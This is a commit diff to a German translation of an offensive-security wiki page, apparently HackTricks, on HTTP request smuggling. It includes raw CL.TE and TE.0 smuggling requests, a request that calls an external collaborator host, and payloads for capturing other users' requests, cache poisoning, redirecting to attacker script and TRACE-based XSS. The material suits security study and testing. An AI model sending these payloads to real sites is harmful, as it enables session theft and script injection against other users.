mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['pentesting-web/http-request-smuggling/README.md'] to de
This commit is contained in:
Translator
parent
d086d1af56
commit
4adca8bebc
1 changed files with 65 additions and 38 deletions
|
|
@ -1,24 +1,24 @@
|
|||
# HTTP Request Smuggling / HTTP Desync Attack
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Was ist
|
||||
|
||||
Diese Schwachstelle tritt auf, wenn eine **Desynchronisation** zwischen **Front-End-Proxys** und dem **Back-End**-Server es einem **Angreifer** ermöglicht, eine HTTP **Anfrage** zu **senden**, die von den **Front-End**-Proxys (Lastenausgleich/Reverse-Proxy) als **eine Anfrage** und vom **Back-End**-Server als **2 Anfragen** **interpretiert** wird.\
|
||||
Dies ermöglicht es einem Benutzer, die nächste Anfrage, die beim Back-End-Server nach seiner ankommt, **zu modifizieren**.
|
||||
Diese Schwachstelle tritt auf, wenn eine **Desynchronisation** zwischen **Front-End-Proxys** und dem **Back-End**-Server es einem **Angreifer** ermöglicht, eine HTTP **Anfrage** zu **senden**, die von den **Front-End**-Proxys (Load-Balancer/Reverse-Proxy) als **eine einzige Anfrage** und vom **Back-End**-Server als **2 Anfragen** **interpretiert** wird.\
|
||||
Dies ermöglicht es einem Benutzer, **die nächste Anfrage zu ändern, die nach seiner** an den Back-End-Server ankommt.
|
||||
|
||||
### Theorie
|
||||
|
||||
|
|
@ -28,7 +28,7 @@ Dies ermöglicht es einem Benutzer, die nächste Anfrage, die beim Back-End-Serv
|
|||
|
||||
**Content-Length**
|
||||
|
||||
> Der Content-Length-Entity-Header gibt die Größe des Entity-Bodys in Bytes an, die an den Empfänger gesendet wird.
|
||||
> Der Content-Length-Entity-Header gibt die Größe des Entity-Bodys in Bytes an, die an den Empfänger gesendet werden.
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
|
|
@ -37,29 +37,33 @@ Dies ermöglicht es einem Benutzer, die nächste Anfrage, die beim Back-End-Serv
|
|||
|
||||
### Realität
|
||||
|
||||
Das **Front-End** (ein Lastenausgleich / Reverse Proxy) **verarbeitet** den _**Content-Length**_ oder den _**Transfer-Encoding**_ Header und der **Back-End**-Server **verarbeitet den anderen**, was eine **Desynchronisation** zwischen den 2 Systemen verursacht.\
|
||||
Das **Front-End** (ein Load-Balancer / Reverse Proxy) **verarbeitet** den _**Content-Length**_ oder den _**Transfer-Encoding**_ Header und der **Back-End**-Server **verarbeitet den anderen**, was eine **Desynchronisation** zwischen den 2 Systemen verursacht.\
|
||||
Dies könnte sehr kritisch sein, da **ein Angreifer in der Lage sein wird, eine Anfrage** an den Reverse-Proxy zu senden, die vom **Back-End**-Server **als 2 verschiedene Anfragen** **interpretiert** wird. Die **Gefahr** dieser Technik liegt darin, dass der **Back-End**-Server die **2. injizierte Anfrage** so **interpretieren wird**, als ob sie **vom nächsten Client** kam und die **echte Anfrage** dieses Clients **Teil** der **injizierten Anfrage** sein wird.
|
||||
|
||||
### Besonderheiten
|
||||
|
||||
Denke daran, dass in HTTP **ein Zeilenumbruchzeichen aus 2 Bytes besteht:**
|
||||
Denken Sie daran, dass in HTTP **ein Zeilenumbruchzeichen aus 2 Bytes besteht:**
|
||||
|
||||
* **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Bodys** der Anfrage anzugeben. Der Body wird erwartet, dass er mit dem letzten Zeichen endet, **ein Zeilenumbruch ist am Ende der Anfrage nicht erforderlich**.
|
||||
* **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Bodies** der Anfrage anzugeben. Der Body wird erwartet, dass er mit dem letzten Zeichen endet, **ein Zeilenumbruch ist am Ende der Anfrage nicht erforderlich**.
|
||||
* **Transfer-Encoding:** Dieser Header verwendet im **Body** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **Zeilenumbruch** **enden**, aber dieser Zeilenumbruch **wird nicht** vom Längenindikator **gezählt**. Diese Übertragungsmethode muss mit einem **Chunk der Größe 0, gefolgt von 2 Zeilenumbrüchen** enden: `0`
|
||||
* **Connection**: Basierend auf meiner Erfahrung wird empfohlen, **`Connection: keep-alive`** bei der ersten Anfrage des Request Smuggling zu verwenden.
|
||||
|
||||
## Grundlegende Beispiele
|
||||
|
||||
{% hint style="success" %}
|
||||
Wenn du versuchst, dies mit Burp Suite auszunutzen, **deaktiviere `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da einige Gadgets Zeilenumbrüche, Wagenrückläufe und fehlerhafte Content-Lengths missbrauchen.
|
||||
Wenn Sie versuchen, dies mit Burp Suite auszunutzen, **deaktivieren Sie `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da einige Gadgets Zeilenumbrüche, Wagenrückläufe und fehlerhafte Content-Lengths missbrauchen.
|
||||
{% endhint %}
|
||||
|
||||
HTTP-Request-Smuggling-Angriffe werden durch das Senden von mehrdeutigen Anfragen erstellt, die Diskrepanzen in der Art und Weise ausnutzen, wie Front-End- und Back-End-Server die `Content-Length` (CL) und `Transfer-Encoding` (TE) Header interpretieren. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ stellt eine einzigartige Kombination dar, wie die Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen, wenn die Server dieselbe Anfrage auf unterschiedliche Weise verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führt.
|
||||
|
||||
### Grundlegende Beispiele für Schwachstelltypen
|
||||
### Grundlegende Beispiele für Schwachstellentypen
|
||||
|
||||
|
||||
|
||||
{% hint style="info" %}
|
||||
Zur vorherigen Tabelle sollten Sie die TE.0-Technik hinzufügen, wie die CL.0-Technik, aber unter Verwendung von Transfer-Encoding.
|
||||
{% endhint %}
|
||||
|
||||
#### CL.TE-Schwachstelle (Content-Length wird vom Front-End verwendet, Transfer-Encoding wird vom Back-End verwendet)
|
||||
|
||||
* **Front-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header.
|
||||
|
|
@ -137,7 +141,7 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL-Szenario (Content-Length wird sowohl vom Front-End als auch vom Back-End verwendet):**
|
||||
#### **CL.CL-Szenario (Content-Length wird sowohl vom Front-End als auch vom Back-End verwendet)**
|
||||
|
||||
* Beide Server verarbeiten die Anfrage ausschließlich basierend auf dem `Content-Length`-Header.
|
||||
* Dieses Szenario führt typischerweise nicht zu Smuggling, da es eine Übereinstimmung in der Art und Weise gibt, wie beide Server die Anfragenlänge interpretieren.
|
||||
|
|
@ -152,9 +156,9 @@ Connection: keep-alive
|
|||
Normale Anfrage
|
||||
```
|
||||
|
||||
#### **CL != 0-Szenario:**
|
||||
#### **CL.0-Szenario**
|
||||
|
||||
* Bezieht sich auf Szenarien, in denen der `Content-Length`-Header vorhanden ist und einen Wert ungleich null hat, was darauf hinweist, dass der Anfrage-Body Inhalt hat.
|
||||
* Bezieht sich auf Szenarien, in denen der `Content-Length`-Header vorhanden ist und einen Wert ungleich null hat, was darauf hinweist, dass der Anfrage-Body Inhalt hat. Das Back-End ignoriert den `Content-Length`-Header (der als 0 behandelt wird), aber das Front-End analysiert ihn.
|
||||
* Es ist entscheidend für das Verständnis und die Erstellung von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Anfrage bestimmen.
|
||||
* **Beispiel:**
|
||||
|
||||
|
|
@ -167,15 +171,37 @@ Connection: keep-alive
|
|||
Nicht leerer Body
|
||||
```
|
||||
|
||||
#### Webserver brechen
|
||||
#### TE.0-Szenario
|
||||
|
||||
Diese Technik ist auch nützlich in Szenarien, in denen es möglich ist, einen **Webserver zu brechen, während die initialen HTTP-Daten gelesen werden**, aber **ohne die Verbindung zu schließen**. Auf diese Weise wird der **Body** der HTTP-Anfrage als die **nächste HTTP-Anfrage** betrachtet.
|
||||
* Wie das vorherige, aber unter Verwendung von TE
|
||||
* Technik [hier gemeldet](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
* **Beispiel:**
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
Host: {HOST}
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept: */*
|
||||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
|
||||
Zum Beispiel, wie in [**diesem Bericht**](https://mizu.re/post/twisty-python) erklärt, war es in Werkzeug möglich, einige **Unicode**-Zeichen zu senden, und es wird den Server **brechen**. Wenn jedoch die HTTP-Verbindung mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der Body der Anfrage nicht gelesen und die Verbindung bleibt offen, sodass der **Body** der Anfrage als die **nächste HTTP-Anfrage** behandelt wird.
|
||||
50
|
||||
GET <http://our-collaborator-server/> HTTP/1.1
|
||||
x: X
|
||||
0
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### Brechen des Webservers
|
||||
|
||||
Diese Technik ist auch nützlich in Szenarien, in denen es möglich ist, **einen Webserver zu brechen, während die initialen HTTP-Daten gelesen werden**, aber **ohne die Verbindung zu schließen**. Auf diese Weise wird der **Body** der HTTP-Anfrage als **nächste HTTP-Anfrage** betrachtet.
|
||||
|
||||
Zum Beispiel, wie in [**diesem Bericht**](https://mizu.re/post/twisty-python) erklärt, war es in Werkzeug möglich, einige **Unicode**-Zeichen zu senden, und es wird den Server **brechen**. Wenn die HTTP-Verbindung jedoch mit dem Header **`Connection: keep-alive`** erstellt wurde, wird der Body der Anfrage nicht gelesen und die Verbindung bleibt offen, sodass der **Body** der Anfrage als **nächste HTTP-Anfrage** behandelt wird.
|
||||
|
||||
#### Erzwingen über Hop-by-Hop-Header
|
||||
|
||||
Durch den Missbrauch von Hop-by-Hop-Headern könntest du den Proxy anweisen, den Header Content-Length oder Transfer-Encoding zu **löschen, sodass ein HTTP-Request-Smuggling möglich ist**.
|
||||
Durch den Missbrauch von Hop-by-Hop-Headern könnten Sie den Proxy anweisen, **den Header Content-Length oder Transfer-Encoding zu löschen, sodass ein HTTP-Request-Smuggling möglich ist, um missbraucht zu werden**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
|
|
@ -246,7 +272,7 @@ X
|
|||
|
||||
### Testen von HTTP Request Smuggling-Schwachstellen
|
||||
|
||||
Nachdem die Wirksamkeit von Timing-Techniken bestätigt wurde, ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, Ihre Anfragen zu vergiften, zum Beispiel indem Sie eine Anfrage an `/` senden, die eine 404-Antwort zurückgibt. Die zuvor besprochenen `CL.TE`- und `TE.CL`-Beispiele in [Grundlegende Beispiele](./#basic-examples) zeigen, wie man eine Client-Anfrage vergiftet, um eine 404-Antwort zu erhalten, obwohl der Client auf eine andere Ressource zugreifen möchte.
|
||||
Nachdem die Wirksamkeit von Timing-Techniken bestätigt wurde, ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, Ihre Anfragen zu vergiften, zum Beispiel indem Sie eine Anfrage an `/` senden, die eine 404-Antwort zurückgibt. Die zuvor besprochenen `CL.TE`- und `TE.CL`-Beispiele in [Grundlegende Beispiele](./#basic-examples) zeigen, wie man eine Client-Anfrage vergiftet, um eine 404-Antwort zu erhalten, obwohl der Client versucht, auf eine andere Ressource zuzugreifen.
|
||||
|
||||
**Wichtige Überlegungen**
|
||||
|
||||
|
|
@ -256,11 +282,11 @@ Beim Testen auf Request Smuggling-Schwachstellen durch Störung anderer Anfragen
|
|||
* **Konsistente URL und Parameter:** Versuchen Sie, identische URLs und Parameternamen für beide Anfragen zu verwenden. Moderne Anwendungen leiten Anfragen oft an spezifische Back-End-Server basierend auf URL und Parametern weiter. Das Abgleichen dieser erhöht die Wahrscheinlichkeit, dass beide Anfragen vom selben Server verarbeitet werden, was eine Voraussetzung für einen erfolgreichen Angriff ist.
|
||||
* **Timing- und Rennbedingungen:** Die "normale" Anfrage, die dazu dient, Störungen durch die "Angriffs"-Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anwendungsanfragen. Daher sollte die "normale" Anfrage sofort nach der "Angriffs"-Anfrage gesendet werden. Beschäftigte Anwendungen können mehrere Versuche erfordern, um eine schlüssige Bestätigung der Schwachstelle zu erhalten.
|
||||
* **Herausforderungen beim Lastenausgleich:** Front-End-Server, die als Lastenausgleicher fungieren, können Anfragen auf verschiedene Back-End-Systeme verteilen. Wenn die "Angriffs"- und "normalen" Anfragen auf unterschiedlichen Systemen landen, wird der Angriff nicht erfolgreich sein. Dieser Aspekt des Lastenausgleichs kann mehrere Versuche erfordern, um eine Schwachstelle zu bestätigen.
|
||||
* **Unbeabsichtigte Auswirkungen auf Benutzer:** Wenn Ihr Angriff versehentlich die Anfrage eines anderen Benutzers beeinflusst (nicht die "normale" Anfrage, die Sie zur Erkennung gesendet haben), deutet dies darauf hin, dass Ihr Angriff einen anderen Anwendungsbenutzer beeinflusst hat. Kontinuierliches Testen könnte andere Benutzer stören, was einen vorsichtigen Ansatz erfordert.
|
||||
* **Unbeabsichtigte Auswirkungen auf Benutzer:** Wenn Ihr Angriff versehentlich die Anfrage eines anderen Benutzers beeinflusst (nicht die "normale" Anfrage, die Sie zum Erkennen gesendet haben), deutet dies darauf hin, dass Ihr Angriff einen anderen Anwendungsbenutzer beeinflusst hat. Kontinuierliches Testen könnte andere Benutzer stören, was einen vorsichtigen Ansatz erfordert.
|
||||
|
||||
## Missbrauch von HTTP Request Smuggling
|
||||
|
||||
### Umgehung der Front-End-Sicherheit über HTTP Request Smuggling
|
||||
### Umgehung der Front-End-Sicherheit durch HTTP Request Smuggling
|
||||
|
||||
Manchmal setzen Front-End-Proxys Sicherheitsmaßnahmen durch, die eingehende Anfragen überprüfen. Diese Maßnahmen können jedoch umgangen werden, indem HTTP Request Smuggling ausgenutzt wird, was unbefugten Zugriff auf eingeschränkte Endpunkte ermöglicht. Zum Beispiel könnte der Zugriff auf `/admin` extern verboten sein, wobei der Front-End-Proxy solche Versuche aktiv blockiert. Dennoch könnte dieser Proxy es versäumen, eingebettete Anfragen innerhalb einer geschmuggelten HTTP-Anfrage zu überprüfen, was eine Lücke zum Umgehen dieser Einschränkungen lässt.
|
||||
|
||||
|
|
@ -305,7 +331,7 @@ Im Gegensatz dazu verwendet der TE.CL-Angriff die anfängliche `POST`-Anfrage mi
|
|||
|
||||
### Offenlegung der Front-End-Anforderungsumformung <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Anwendungen verwenden häufig einen **Front-End-Server**, um eingehende Anfragen zu ändern, bevor sie an den Back-End-Server weitergeleitet werden. Eine typische Änderung besteht darin, Header hinzuzufügen, wie z.B. `X-Forwarded-For: <IP des Clients>`, um die IP des Clients an das Back-End weiterzuleiten. Das Verständnis dieser Änderungen kann entscheidend sein, da es Möglichkeiten aufdecken könnte, **Schutzmaßnahmen zu umgehen** oder **verborgene Informationen oder Endpunkte aufzudecken**.
|
||||
Anwendungen verwenden häufig einen **Front-End-Server**, um eingehende Anfragen zu ändern, bevor sie an den Back-End-Server weitergeleitet werden. Eine typische Änderung besteht darin, Header hinzuzufügen, wie z.B. `X-Forwarded-For: <IP des Clients>`, um die IP des Clients an das Back-End weiterzuleiten. Das Verständnis dieser Änderungen kann entscheidend sein, da es Möglichkeiten aufdecken könnte, um **Schutzmaßnahmen zu umgehen** oder **verborgene Informationen oder Endpunkte aufzudecken**.
|
||||
|
||||
Um zu untersuchen, wie ein Proxy eine Anfrage ändert, finden Sie einen POST-Parameter, den das Back-End in der Antwort zurückgibt. Erstellen Sie dann eine Anfrage, bei der dieser Parameter zuletzt verwendet wird, ähnlich wie im Folgenden:
|
||||
```
|
||||
|
|
@ -336,7 +362,7 @@ Diese Methode dient hauptsächlich dazu, die von dem Front-End-Proxy vorgenommen
|
|||
|
||||
Es ist möglich, die Anfragen des nächsten Benutzers zu erfassen, indem man eine spezifische Anfrage als Wert eines Parameters während einer POST-Operation anhängt. So kann dies erreicht werden:
|
||||
|
||||
Indem man die folgende Anfrage als Wert eines Parameters anhängt, kann man die Anfrage des nachfolgenden Clients speichern:
|
||||
Indem Sie die folgende Anfrage als Wert eines Parameters anhängen, können Sie die Anfrage des nachfolgenden Clients speichern:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
|
|
@ -448,15 +474,15 @@ Location: https://attacker-website.com/home/
|
|||
```
|
||||
In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei hijacked. Der Angreifer kann potenziell den Benutzer kompromittieren, indem er bösartigen JavaScript als Antwort bereitstellt.
|
||||
|
||||
### Ausnutzen von Web-Cache-Vergiftung über HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Ausnutzen von Web-Cache-Poisoning über HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Web-Cache-Vergiftung kann ausgeführt werden, wenn irgendeine Komponente der **Front-End-Infrastruktur Inhalte cached**, typischerweise um die Leistung zu verbessern. Durch Manipulation der Serverantwort ist es möglich, den **Cache zu vergiften**.
|
||||
Web-Cache-Poisoning kann ausgeführt werden, wenn irgendeine Komponente der **Front-End-Infrastruktur Inhalte cached**, typischerweise um die Leistung zu verbessern. Durch Manipulation der Serverantwort ist es möglich, den **Cache zu vergiften**.
|
||||
|
||||
Zuvor haben wir beobachtet, wie Serverantworten geändert werden konnten, um einen 404-Fehler zurückzugeben (siehe [Grundlegende Beispiele](./#basic-examples)). Ähnlich ist es möglich, den Server dazu zu bringen, den Inhalt von `/index.html` als Antwort auf eine Anfrage nach `/static/include.js` zu liefern. Folglich wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, wodurch `/static/include.js` für Benutzer unzugänglich wird, was potenziell zu einem Denial of Service (DoS) führen kann.
|
||||
Früher haben wir beobachtet, wie Serverantworten geändert werden konnten, um einen 404-Fehler zurückzugeben (siehe [Grundlegende Beispiele](./#basic-examples)). Ähnlich ist es möglich, den Server dazu zu bringen, den Inhalt von `/index.html` als Antwort auf eine Anfrage nach `/static/include.js` zu liefern. Folglich wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, wodurch `/static/include.js` für Benutzer unzugänglich wird, was potenziell zu einem Denial of Service (DoS) führen kann.
|
||||
|
||||
Diese Technik wird besonders mächtig, wenn eine **Open Redirect-Schwachstelle** entdeckt wird oder wenn es eine **Vor-Ort-Weiterleitung zu einer offenen Weiterleitung** gibt. Solche Schwachstellen können ausgenutzt werden, um den zwischengespeicherten Inhalt von `/static/include.js` durch ein Skript unter der Kontrolle des Angreifers zu ersetzen, was im Wesentlichen einen weitreichenden Cross-Site Scripting (XSS)-Angriff gegen alle Clients ermöglicht, die das aktualisierte `/static/include.js` anfordern.
|
||||
Diese Technik wird besonders mächtig, wenn eine **Open Redirect-Schwachstelle** entdeckt wird oder wenn es eine **Vor-Ort-Umleitung zu einer offenen Umleitung** gibt. Solche Schwachstellen können ausgenutzt werden, um den zwischengespeicherten Inhalt von `/static/include.js` durch ein Skript unter der Kontrolle des Angreifers zu ersetzen, was im Wesentlichen einen weitreichenden Cross-Site Scripting (XSS)-Angriff gegen alle Clients ermöglicht, die das aktualisierte `/static/include.js` anfordern.
|
||||
|
||||
Nachfolgend ist eine Illustration des Ausnutzens von **Cache-Vergiftung kombiniert mit einer Vor-Ort-Weiterleitung zu einer offenen Weiterleitung**. Das Ziel ist es, den Cache-Inhalt von `/static/include.js` zu ändern, um JavaScript-Code bereitzustellen, der vom Angreifer kontrolliert wird:
|
||||
Unten ist eine Illustration des Ausnutzens von **Cache-Poisoning kombiniert mit einer Vor-Ort-Umleitung zu einer offenen Umleitung**. Das Ziel ist es, den Cache-Inhalt von `/static/include.js` zu ändern, um JavaScript-Code bereitzustellen, der vom Angreifer kontrolliert wird:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
|
|
@ -502,7 +528,7 @@ Wenn diese geschmuggelte Anfrage einen Cache-Eintrag für statische Inhalte (z.
|
|||
|
||||
### Missbrauch von TRACE über HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**In diesem Beitrag**](https://portswigger.net/research/trace-desync-attack) wird vorgeschlagen, dass es möglich sein könnte, die Methode TRACE zu missbrauchen, wenn der Server diese aktiviert hat, indem man HTTP Request Smuggling verwendet. Dies liegt daran, dass diese Methode jeden Header, der an den Server gesendet wird, als Teil des Körpers der Antwort zurückgibt. Zum Beispiel:
|
||||
[**In diesem Beitrag**](https://portswigger.net/research/trace-desync-attack) wird vorgeschlagen, dass es möglich sein könnte, die Methode TRACE zu missbrauchen, wenn der Server diese aktiviert hat, indem man HTTP Request Smuggling verwendet. Dies liegt daran, dass diese Methode jeden Header, der an den Server gesendet wird, als Teil des Antwortkörpers zurückgibt. Zum Beispiel:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
|
|
@ -520,7 +546,7 @@ XSS: <script>alert("TRACE")</script>
|
|||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zuerst eine **HEAD-Anfrage zu schmuggeln**. Diese Anfrage wird nur mit den **Headern** einer GET-Anfrage (**`Content-Type`** unter ihnen) beantwortet. Und sofort nach dem HEAD eine TRACE-Anfrage zu schmuggeln, die die gesendeten Daten **reflektiert**.\
|
||||
Da die HEAD-Antwort einen `Content-Length`-Header enthalten wird, wird die **Antwort der TRACE-Anfrage als der Körper der HEAD-Antwort behandelt, wodurch beliebige Daten** in der Antwort reflektiert werden. \
|
||||
Da die HEAD-Antwort einen `Content-Length`-Header enthalten wird, wird die **Antwort der TRACE-Anfrage als der Körper der HEAD-Antwort behandelt, wodurch beliebige Daten** in der Antwort reflektiert werden.\
|
||||
Diese Antwort wird an die nächste Anfrage über die Verbindung gesendet, sodass dies **zum Beispiel in einer zwischengespeicherten JS-Datei verwendet werden könnte, um beliebigen JS-Code einzuschleusen**.
|
||||
|
||||
### Missbrauch von TRACE über HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
|
@ -571,7 +597,7 @@ Content-Length: 50
|
|||
```
|
||||
### Waffentechniken für HTTP Request Smuggling mit HTTP Response Desynchronisation
|
||||
|
||||
Hast du eine HTTP Request Smuggling-Sicherheitsanfälligkeit gefunden und weißt nicht, wie du sie ausnutzen kannst? Probiere diese anderen Methoden der Ausnutzung:
|
||||
Haben Sie eine HTTP Request Smuggling-Schwachstelle gefunden und wissen nicht, wie Sie sie ausnutzen können? Versuchen Sie diese anderen Methoden der Ausnutzung:
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
|
|
@ -591,7 +617,7 @@ Hast du eine HTTP Request Smuggling-Sicherheitsanfälligkeit gefunden und weißt
|
|||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Turbo Intruder Skripte
|
||||
## Turbo Intruder-Skripte
|
||||
|
||||
### CL.TE
|
||||
|
||||
|
|
@ -697,10 +723,11 @@ table.add(req)
|
|||
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
|
||||
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -708,7 +735,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
Loading…
Reference in a new issue